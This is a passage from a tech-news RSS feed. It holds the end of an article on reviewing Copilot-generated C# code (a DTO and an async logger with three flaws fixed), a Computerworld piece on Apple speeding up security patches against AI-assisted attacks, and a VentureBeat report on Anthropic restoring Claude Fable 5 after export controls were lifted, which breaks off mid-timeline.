<li>Error handling: Often, AI-generated code succeeds in creating the required logic based on the “happy path” of an application, but does not create sufficient or adequate recovery, retry, or validation logic. Additionally, AI-generated code may not incorporate proper error handling mechanisms.</li>



<li>Technical debt: The sheer amount of generated code can require additional resources for reviewing, cleaning, refactoring, and debugging the code after the fact, as well as for maintaining the code in the future.</li>
</ul>



<h2 class="wp-block-heading">Best practices for using AI to write code</h2>



<p>Here are some of the best practices you should follow when writing code using AI-powered tools:</p>



<h3 class="wp-block-heading">Write clear and specific prompts</h3>



<p>To get the best use of AI-assisted coding tools, you should be proficient in prompt engineering. Your prompts should be specific, concise, and contain relevant code examples to enable your AI-powered tools to generate code that is functional, meets the requirements, and conforms to the standards and guidelines. Most importantly, you should plan precisely on the architecture and design, the exact solution you need, the structure of the codebase, and the coding and design guidelines to follow.</p>



<h3 class="wp-block-heading">Use AI as a peer programmer</h3>



<p>You should always treat AI as a peer programmer and your (junior) coding assistant. You should always review code the AI generates for you, run tests, and perform audits to validate correctness, conformance to guidelines and standards, performance and scalability bottlenecks, and security vulnerabilities. Based on the outcome of the audit, you should refactor your AI-generated code accordingly. And, repeat this cycle iteratively — audit followed by refactoring (if required) — until you are satisfied with the code.</p>



<h3 class="wp-block-heading">Favor quality over speed</h3>



<p>Your application source code should be performant, scalable, secure, extendable, and easy to comprehend and maintain. One of the biggest challenges of using AI-generated code is ensuring it meets requirements and conforms to the guidelines and standards of your organization without compromising on performance, scalability, and security.</p>



<p>AI can generate code for you quite quickly, but the onus is on you to understand how the code works, investigate it for any flaws, test it thoroughly, and change it if and when it is needed. You must be sure to understand the code in its entirety. Unless you comprehend the code, you will never be able to improve or extend it when you need to.</p>



<p>And you must never compromise quality for speed. If you use AI as a shortcut, your code may fail when deployed to the production environment — and that would be a disaster. </p>



<h3 class="wp-block-heading">Provide the right context</h3>



<p>The code your AI-powered tool generates for you will be more useful to you if you’ve provided the right context. You should provide your AI coding tool with comprehensive, up-front information, such as architecture docs, coding standards, and relevant files, rather than just providing instructions using prompts. And you should add images or screenshots when specifying prompts to help your AI-powered tool better understand the context.</p>



<p>Your AI-generated code must be testable for best results. It is always a good practice to specify tests at the time when your AI-enabled tool generates code, as tests can help AI understand the expected behavior and produce code that better aligns with your expectations. Additionally, you should specify the exact goal, the current and/or target technology stack, the relevant code boundaries, and the definition of “done”, i.e., the desired outcome.</p>



<h2 class="wp-block-heading">Creating a Data Transfer Object using GitHub Copilot</h2>



<p>Remember, any AI-powered code generator is only as good as the input provided to it. This input is also known as the prompt. If the prompt you specify does not clearly state the objective, the generated code will not meet your requirements. Here is an example of a prompt that fails to consider performance and lacks clarity.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Generate code to create a Product DTO having fields Id, Name, and Price</p>
</blockquote>



<p>When I entered this prompt into the GitHub Copilot Chat window, the following piece of code was generated. </p>



<pre class="wp-block-code"><code>public class Product
{
   public int Id { get; set; }
   public string Name { get; set; } = string.Empty;
   public decimal Price { get; set; }
   public Product() { }
   public Product(int id, string name, decimal price)
   {
       Id = id; Name = name; Price = price;
   }
}
</code></pre>



<p>Typically, a DTO (Data Transfer Object) should be created using records for improved performance instead of classes. Moreover, a DTO should be immutable by default, because its purpose is to store and pass data from the presentation layer to the business layer in an application. This not only guarantees thread safety but also prevents accidental changes to data and simplifies testability.</p>



<p>Now, let’s change the prompt as shown below and try again. </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Create an immutable Product DTO using C# that uses the record type, having fields Id, Name, and Price.</p>
</blockquote>



<p>When I entered the above prompt in GitHub Copilot Chat, a record type named ProductDto was created using a positional record as shown below. </p>



<pre class="wp-block-code"><code>public sealed record ProductDto(int Id, string Name, decimal Price);
</code></pre>



<h2 class="wp-block-heading">Creating a logging library using GitHub Copilot</h2>



<p>In this next example, we’ll use GitHub Copilot within the Visual Studio IDE. With GitHub Copilot up and running in our IDE, you can specify the following prompt for creating a logging library using GitHub CoPilot within the Visual Studio IDE:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Create an asynchronous logger using .NET 10 and C# 14 that:</p>



<ul class="wp-block-list">
<li>Stores logs asynchronously in a text file or a database</li>



<li>Uses a SQLite database for storing logs in a database</li>
</ul>



<p>The log target should be configurable, i.e., the storage target of the generated log can be a file, a database, or etc.</p>



<p>Create a separate class for each log target, i.e., FileLogger for storing logs in a file and DbLogger for storing logs in the databas<em>Dave Bermingham</em>e</p>



<p>Incorporate comprehensive error handling mechanism wherever applicable</p>
</blockquote>



<p>Figure 1 shows this prompt in GitHub Copilot (running in Visual Studio) and the files that Copilot generated for the project.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/AI-Csharp-GitHub-Copilot.png?w=373" alt="AI Csharp GitHub Copilot" class="wp-image-4191827" width="373" height="1023" sizes="auto, (max-width: 373px) 100vw, 373px"><figcaption class="wp-element-caption"><p>Figure 1</p>
</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p>Once you have provided the prompt as input to Github Copilot, it will parse the input and generate several files in your project. Figure 2 shows the two projects in the Solution Explorer window — the console application project and the <code>AsyncLogger</code> class library project.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/AI-Csharp-Solution-Explorer.png?w=622" alt="AI Csharp Solution Explorer" class="wp-image-4191830" width="622" height="1024" sizes="auto, (max-width: 622px) 100vw, 622px"><figcaption class="wp-element-caption"><p>Figure 2</p>
</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p>The <code>AsyncLoggerService</code> class uses the <code>System.Threading.Channel</code> static class to write logs of type <code>LogEntry</code> in the log target, which can be a text file or a database. The <code>System.Threading.Channel</code> class contains two methods to create channels, the <code>CreateBounded</code> and the <code>CreateUnbounded</code> methods.</p>



<p>While <code>CreateBounded</code> is used to create a channel that holds a finite number of messages, <code>CreateUnbounded</code> is used to create a channel with unlimited capacity. You can learn more about working with <code>System.Threading.Channel</code> from my earlier article <a href="https://www.infoworld.com/article/2263338/how-to-use-systemthreadingchannels-in-net-core.html">here</a>.</p>



<h2 class="wp-block-heading">Reviewing the AI-generated code</h2>



<p>Although GitHub Copilot will generate the complete source code of the <code>AsyncLogger</code> library for you, you should carefully examine — and thoroughly test — the generated code before you use it in production. For example, when I submitted the above prompt to Copilot, the code generated included three issues that needed to be addressed. Let’s take a look. </p>



<h3 class="wp-block-heading">Unbounded channel oops</h3>



<p>In the <code>AsyncLoggerService</code> class, GitHub Copilot included the following code that uses an <code>Unbounded</code> channel. </p>



<pre class="wp-block-code"><code>_channel = Channel.CreateUnbounded<logentry>(
    new UnboundedChannelOptions { SingleReader = true, SingleWriter = false });
</logentry></code></pre>



<p>There is a major flaw in this approach. If this code were used in production, memory consumption could surge dramatically under burst traffic (say, 10k or more requests per second). This growth in memory usage could result in GC pressure and eventually a crash of the application.</p>



<p>A better approach is to use a bounded channel with an explicit backpressure strategy, as shown in the code snippet given below.</p>



<pre class="wp-block-code"><code>_channel = Channel.CreateBounded<logentry>(new BoundedChannelOptions(10_000)
{
    FullMode = BoundedChannelFullMode.DropWrite // or Wait
});
</logentry></code></pre>



<h3 class="wp-block-heading">Fire-and-forget oops</h3>



<p>In the <code>LogAsync</code> method, GitHub Copilot included the following statement that contains a fire-and-forget call with no retries and no information if the write operation fails (i.e., if the channel is already closed).</p>



<pre class="wp-block-code"><code>_channel.Writer.TryWrite(entry);
</code></pre>



<p>A better approach is to include a fallback path as shown in the code snippet below.</p>



<pre class="wp-block-code"><code>if (!await _channel.Writer.WaitToWriteAsync())
{
    TryWriteFallback("Channel closed or unavailable");
    return;
}
await _channel.Writer.WriteAsync(entry);
private void TryWriteFallback(string text)
{
    try
    {
        var path = _config.FallbackFilePath ?? "fallback-errors.log";
        var dir = Path.GetDirectoryName(path);
        if (!string.IsNullOrEmpty(dir) &amp;&amp; !Directory.Exists(dir)) 
            Directory.CreateDirectory(dir);
        File.AppendAllText(path, $"[{DateTime.UtcNow:o}] {text}{Environment.NewLine}");
    }
    catch
    {
        // swallow - nothing else we can do
    }
}
</code></pre>



<p>The <code>WaitToWriteAsync</code> method returns true if space is available to write an item, false otherwise. Hence, if no space is available, the <code>TryWriteFallback</code> method will be called and the log written to the fallback-errors.log file.</p>



<p><strong>Using Sync over Async in a Constructor</strong></p>



<p>Finally, GitHub Copilot included the following piece of code in the constructor of the <code>AsyncLoggerService</code> class. </p>



<pre class="wp-block-code"><code>_target.InitializeAsync(_cts.Token).GetAwaiter().GetResult();
</code></pre>



<p>Using sync over async in a constructor in C# is considered an anti-pattern. The reason is because constructors cannot be asynchronous, i.e., you cannot mark a constructor as asynchronous using the <code>async</code> keyword. As a result, you will have to make blocking calls and wait for your asynchronous code to complete execution. And this could result in thread starvation and a deadlock.</p>



<p>A better alternative will be to move the initialization code out of the constructor as shown below. </p>



<pre class="wp-block-code"><code>public async Task InitializeAsync()
{
    await _target.InitializeAsync(_cts.Token);
}
</code></pre>



<h2 class="wp-block-heading">AI-generated code review checklist</h2>



<p>You should verify each item of the following checklist before you integrate AI-generated code into your application. </p>



<ul class="wp-block-list">
<li>Does the code address all specified requirements?</li>



<li>Is the code well-documented?</li>



<li>Are there any security vulnerabilities or security anti-patterns?</li>



<li>Does the code follow C# coding standards and guidelines?</li>



<li>Are the algorithms efficient as far as performance is concerned?</li>



<li>Is the code testable, extensible, and maintainable?</li>



<li>Is the code testable with proper abstractions?</li>



<li>Does the code check for security vulnerabilities such as SQL injection and XSS?</li>



<li>Does the code incorporate N + 1 queries or other inefficient data access approaches?</li>



<li>Does the code comply with naming conventions and code organization standards?</li>



<li>Does the code incorporate error handling, logging, input validation, and configuration?</li>



<li>Does the code use asynchronous programming approaches?</li>



<li>Does the code meet the desired code coverage expectations?</li>
</ul>



<h2 class="wp-block-heading">Takeaways</h2>



<p>AI can help you create all of your boilerplate code, provide suggestions for best practices, and greatly speed up your exploration and research efforts. However, you should remember that AI is not a replacement for human intelligence, experience, and innovation. You should treat your AI-powered coding tool as your coworker or assistant and not your replacement. </p>



<p>You should take advantage of AI to do all of the tedious, monotonous work so that you can concentrate on the architecture, innovation, and other aspects of software architecture and development that require human involvement. You can take advantage of AI to generate your application’s architecture and design as well. However, the generated architecture and design should be for your reference only — it is entirely on you to decide how much of it you should use and what you need to replace.</p>



<p>Here’s the final word: AI-powered coding tools will help you when you provide them with the correct context and clear instructions. Be sure to review the generated code carefully, and test thoroughly before deploying to production. Expect your AI coding tool to make mistakes, and be prepared to make changes (perhaps over many iterations) to get the performant, reliable, secure, and maintainable code that you need.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[NASA Launches Daring Robotic Rescue Mission to Save Falling Swift Telescope]]></title>
<description><![CDATA[NASA is preparing a robotic rescue mission to boost the falling Swift telescope, test satellite servicing, and avoid a costly observatory replacement.
The post NASA Launches Daring Robotic Rescue Mission to Save Falling Swift Telescope appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3639537/it-nachrichten/nasa-launches-daring-robotic-rescue-mission-to-save-falling-swift-telescope/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639537/it-nachrichten/nasa-launches-daring-robotic-rescue-mission-to-save-falling-swift-telescope/</guid>
<pubDate>Wed, 01 Jul 2026 21:32:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>NASA is preparing a robotic rescue mission to boost the falling Swift telescope, test satellite servicing, and avoid a costly observatory replacement.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-nasa-swift-boost-robot-rescue-mission/">NASA Launches Daring Robotic Rescue Mission to Save Falling Swift Telescope</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple signals that the new attack surface is time itself]]></title>
<description><![CDATA[The nature of security threats is changing. AI hasn’t just driven up energy prices and consumer electronics costs, it’s also ushering in a new era of AI-augmented cyberattacks, one where the time between a flaw being discovered and being exploited is shrinking fast.



Apple is already signaling ...]]></description>
<link>https://tsecurity.de/de/3639232/it-nachrichten/apple-signals-that-the-new-attack-surface-is-time-itself/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639232/it-nachrichten/apple-signals-that-the-new-attack-surface-is-time-itself/</guid>
<pubDate>Wed, 01 Jul 2026 19:02:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The nature of security threats is changing. AI hasn’t just driven up energy prices and <a href="https://www.computerworld.com/article/4189999/forget-the-apple-tax-this-is-the-ai-tax.html">consumer electronics costs</a>, it’s also ushering in a new era of AI-augmented cyberattacks, one where the time between a flaw being discovered and being exploited is shrinking fast.</p>



<p>Apple is already signaling that it sees this coming.</p>



<h2 class="wp-block-heading"><strong>Why Apple moved first</strong></h2>



<p>The company has begun <a href="https://www.computerworld.com/article/3821965/apples-security-patch-highlights-the-growing-security-threat.html">accelerating the release of security updates</a> specifically to counter AI-assisted hacking. This week’s patch was pushed out ahead of Apple’s usual schedule, and the company told Reuters it’s adapting to a reality in which <a href="https://www.reuters.com/business/apple-says-it-is-releasing-updates-early-response-ai-cybersecurity-concerns-2026-06-29/" target="_blank" rel="noreferrer noopener">artificial intelligence can speed up the development of malicious tools</a>. </p>



<p>The logic is simple. If an AI system can find a flaw for one user, it can identify vulnerabilities for other users; that’s a benefit for well-resourced attackers prepared to move fast once a vulnerability becomes public. Hackers are, after all, one group in tech that really doesn’t worry much about moving fast and breaking things.</p>



<p>Apple said it has no evidence any of the patched vulnerabilities were actively exploited before the fix shipped, but that’s not a reason for complacency — especially in business and education, where deployment tends to lag.</p>



<h2 class="wp-block-heading"><strong>Caution has become risk</strong></h2>



<p>That lag is a vulnerability. Traditionally, some industries — particularly, regulated ones — have delayed the installation of system upgrades. That was sensible because it enabled them to identify compatibility problems before a company-wide deployment took place. </p>



<p>The new problem is that AI-accelerated attackers can specifically target organizations that haven’t yet patched, turning a cautious rollout window into a viable attack surface.</p>



<p>IT must now think deeply about company security policy. The old playbook needs rethinking, and Apple’s new approach to fast and swift security upgrades shows the way. You only need to <a href="https://www.computerworld.com/article/4027301/kandji-helps-secure-apple-enterprise-with-vulnerability-response.html">review some of the data</a> from a Kandji (now Iru) report to see the extent to which business is vulnerable to time itself. </p>



<h2 class="wp-block-heading"><strong>Legacy hardware? A gift to attackers</strong></h2>



<p>There’s another big problem for most enterprises: legacy hardware. Old, unsupported devices that can’t run the latest security protection must be replaced fast. That old hardware is a viable and attractive launch point for any wise cybercriminal. </p>



<p>That’s not just an Apple issue; those firms still running Windows 10 systems are very much at risk. That risk is wide, given estimates that around 35% of US business systems are still running Windows 10.</p>



<p>Manufacturing is particularly exposed to the specter of an AI-attack. <a href="https://www.computerworld.com/article/4191185/first-foxconn-now-tata-apple-suppliers-keep-getting-hacked.html">Apple and Tata Electronics are still reeling</a> from the consequences of the recent attack at Apple’s India iPhone maker, which saw vast troves of confidential data stolen. (We don’t know whether AI was used in <em>that</em> attack, but we do know it is being used in attacks.)</p>



<h2 class="wp-block-heading"><strong>Manufacturing is a target</strong></h2>



<p>Manufacturing has emerged as the most heavily targeted sector. Attackers have identified structural vulnerabilities that beset the market, including legacy infrastructure, sprawling supplier networks with inconsistent security postures, and tight margins that limit how fast companies can modernize. </p>



<p>None of that is likely to change anytime soon, so attackers will continue to make extensive use of artificial intelligence to probe for weak links in manufacturing tech infrastructure. Combined with rapid increases in tech hardware prices and continued constraints on renewal budgets, companies are likely to find themselves even more exposed before things improve. </p>



<h2 class="wp-block-heading"><strong>What does this mean for the industry?</strong></h2>



<p>In general, the manufacturing industry will likely need to invest in more effective security protection, potentially amplifying <a href="https://www.computerworld.com/article/4189546/apple-raises-hardware-prices-ai-is-to-blame.html">ongoing inflationary pressure</a>.</p>



<p>At Apple, it means the company must now intensify its race to secure its vast endpoint perimeter as AI weapons are applied by a variety of entities, including the <a href="https://www.computerworld.com/article/4141237/the-coruna-exploit-why-iphone-users-should-be-concerned.html">nation state-adjacent hackers</a> who want to subvert platform security in service of authoritarian control and surveillance.</p>



<p>For business, it means IT — and regulators — must swiftly review best-practice approaches to account for a fast-moving security environment in which failure to swiftly deploy updates can leave a company open to attack. For platform providers, it implies an imperative moral obligation to widen the security support windows for older devices. </p>



<p>And for the rest of us, it means we must be even more conscious of the need to follow good security practices, including timely installation of security updates. And it may be time to retire some of the old devices, or at least take them offline. This is all unfolding at the same time the <a href="https://www.applemust.com/omdia-says-the-hammer-has-fallen-on-low-cost-smartphones/" target="_blank" rel="noreferrer noopener">economy seems ready to call a time-out</a> on affordable consumer electronics everywhere. Good times, indeed.</p>



<p><em>Please join me on social media at <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, or <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a>, and do subscribe my daily human-curated <a href="https://thecorenews.substack.com/">Apple news headline summary on Substack</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic is bringing back Claude Fable 5 globally after US lifts export control order — where can enterprises access it?]]></title>
<description><![CDATA[Anthropic is restoring global access to its most powerful generally released AI model yet, Claude Fable 5, today,  after the U.S. Department of Commerce withdrew emergency export controls that led the company to suspend all access to both Fable 5 and its less restricted cybersecurity counterpart ...]]></description>
<link>https://tsecurity.de/de/3639021/it-nachrichten/anthropic-is-bringing-back-claude-fable-5-globally-after-us-lifts-export-control-order-where-can-enterprises-access-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639021/it-nachrichten/anthropic-is-bringing-back-claude-fable-5-globally-after-us-lifts-export-control-order-where-can-enterprises-access-it/</guid>
<pubDate>Wed, 01 Jul 2026 18:03:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Anthropic is <a href="https://www.anthropic.com/news/redeploying-fable-5">restoring global access </a>to its most powerful generally released AI model yet, Claude Fable 5, today,  after the U.S. Department of Commerce withdrew emergency export controls that led the company to <a href="https://venturebeat.com/technology/anthropic-blocks-all-public-access-to-claude-fable-5-mythos-5-following-us-government-order-what-enterprises-should-do">suspend all access to both Fable 5 and its less restricted cybersecurity counterpart model Claude Mythos 5</a> last month, just days after both models were initially introduced. </p><p>Starting today, Fable 5 is available for users globally across the primary Anthropic ecosystem, including the Claude Platform, Claude.ai, Claude Code, and Claude Cowork. However, when VentureBeat tried to access it in Claude Code on Terminal, it still showed as disabled.</p><p>For organizations leveraging cloud hyperscalers, Anthropic says it is moving to re-enable access on Amazon Web Services, Google Cloud, and Microsoft Foundry “as quickly as possible.” So far, VentureBeat's research has been unable to confirm if the models have been restored on these external cloud hyperscaler platforms yet.</p><p>Mythos 5 remains a different case. A<a href="https://x.com/synthwavedd/status/2072103052635451559?s=61&amp;t=2nI-irIukCMlctN6d7atlQ"> letter posted on the social network X </a>allegedly from U.S. Commerce Secretary Howard Lutnick to Anthropic executive Tom Brown says a license is no longer required for the export, reexport, or in-country transfer of Fable<i> and Mythos.</i></p><p>But Anthropic’s own <a href="https://www.anthropic.com/news/redeploying-fable-5">redeployment post on its website </a>says only that Mythos 5 access has been restored for “a set of US organizations,” following government approval on June 26. The company says it is continuing to coordinate with the government to expand access to broader domestic and international partners in its opt-in cybersecurity testing program, <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Project Glasswing</a>.</p><p>That leaves Mythos 5 in a middle category: legally cleared from the emergency export-control order, but not generally available. The current limit appears to come from Anthropic’s decision to keep Mythos behind a vetted-access model, with the U.S. government still playing a role in approvals, standards and expansion.</p><p>Posting on X, Commerce Secretary Howard Lutnick <a href="https://x.com/howardlutnick/status/2072100729603452965">said</a> Anthropic and the government had “worked closely” to “analyze and approve Fable 5,” while White House Chief of Staff Susie Wiles also <a href="https://x.com/SusieWiles47/status/2072099604481335711">posted</a> on X, framing the decision around U.S. AI leadership and deployment speed.</p><p>Wiles wrote that the United States is the “undisputed winner in the AI race,” adding that the shared priority is to “get the best tech deployed as quickly and safely as possible.”</p><p>The reversal follows concerns from cybersecurity leaders and AI policy experts over the export control order, who argued that the U.S. risked hobbling its own industry while giving Chinese AI labs an opening. Former Facebook security chief Alex Stamos <a href="https://www.aol.com/articles/smart-people-saying-return-anthropics-111539000.html?guccounter=1&amp;guce_referrer=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8&amp;guce_referrer_sig=AQAAACxDu4x_4FTNyEqy2d4xTCQyaaDeOvRTwjggSIpCok-dRgvkDZQ_tc_RJvuzEqvn7NDqYyR2BWm5PfnU6hIFjuMxDj-8nalhiKxWb6hkO9f93vUbBN0PzrDkB5FRqE5Hs0hHMnPxJR5gdAAD2G-PCK4SEvYRlcBT0_tnlPU6l-Ey">called</a> the Fable restriction a “huge own goal for the US,” warning that security companies could be driven toward Chinese models, while other critics said the so-called "ad hoc" regulatory intervention made dependence on U.S. AI platforms look like a strategic liability.</p><h2><b>Reminder on Claude Fable 5 pricing</b></h2><p>For chief information and technology officers evaluating the return of the model, the deployment comes with distinct structural conditions and significant financial investments.</p><p>Anthropic is pricing both Fable 5 and Mythos 5 at $10.00 per million input tokens and $50.00 per million output tokens, the most expensive of all frontier models globally.</p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Grok 4.3 (low context)</p></td><td><p>$1.25</p></td><td><p>$2.50</p></td><td><p>$3.75</p></td><td><p><a href="https://docs.x.ai/developers/models/grok-4.3">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>Kimi-K2.6</p></td><td><p>$0.95</p></td><td><p>$4.00</p></td><td><p>$4.95</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k26">Moonshot AI</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.3 (high context)</p></td><td><p>$2.50</p></td><td><p>$5.00</p></td><td><p>$7.50</p></td><td><p><a href="https://docs.x.ai/developers/models/grok-4.3">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p><b>Claude Fable 5 / Claude Mythos 5</b></p></td><td><p><b>$10.00</b></p></td><td><p><b>$50.00</b></p></td><td><p><b>$60.00</b></p></td><td><p><b></b><a href="https://platform.claude.com/docs/en/about-claude/models/overview"><b>Anthropic</b></a></p></td></tr></tbody></table><p>However, to incentivize immediate enterprise adoption following the export control order disruption saga, Anthropic is executing a temporary rollout plan through July 7. </p><p>For Pro, Max, Team, and select Enterprise subscriptions, Fable 5 usage will be included at no added cost for up to 50% of a user’s weekly tier allowance.</p><p>However, after July 7, Fable 5 will move to usage credits for those plans. For standard Enterprise seats, there is no included Fable 5 allowance; all usage is billed through credits, and the model will not work for those users unless credits are enabled.</p><p>Already, some AI influencers are attempting to offer enterprises and developers guidance on how to maximize their usage of Fable 5 during its 7-day discounted price/subscription included promotion:</p><div></div><h2><b>Chronology of a Crisis: From Launch to Lockout</b></h2><p>The whiplash regulatory cycle surrounding the model underscores the volatility currently facing enterprise software supply chains. The crisis unfolded over a rapid, three-week timeline:</p><ul><li><p><b>June 9, 2026:</b> <a href="https://venturebeat.com/technology/anthropic-brings-mythos-to-the-masses-with-claude-fable-5-its-most-powerful-generally-available-model-ever">Anthropic launches Claude Fable 5 and Mythos 5</a>. Early corporate case studies report major performance gains. For instance, Stripe reports that Fable 5 compressed a codebase-wide migration across a 50-million-line Ruby infrastructure into a single day — a project estimated to take a team more than two months by hand.</p></li><li><p><b>June 12, 2026:</b> At 5:21 PM 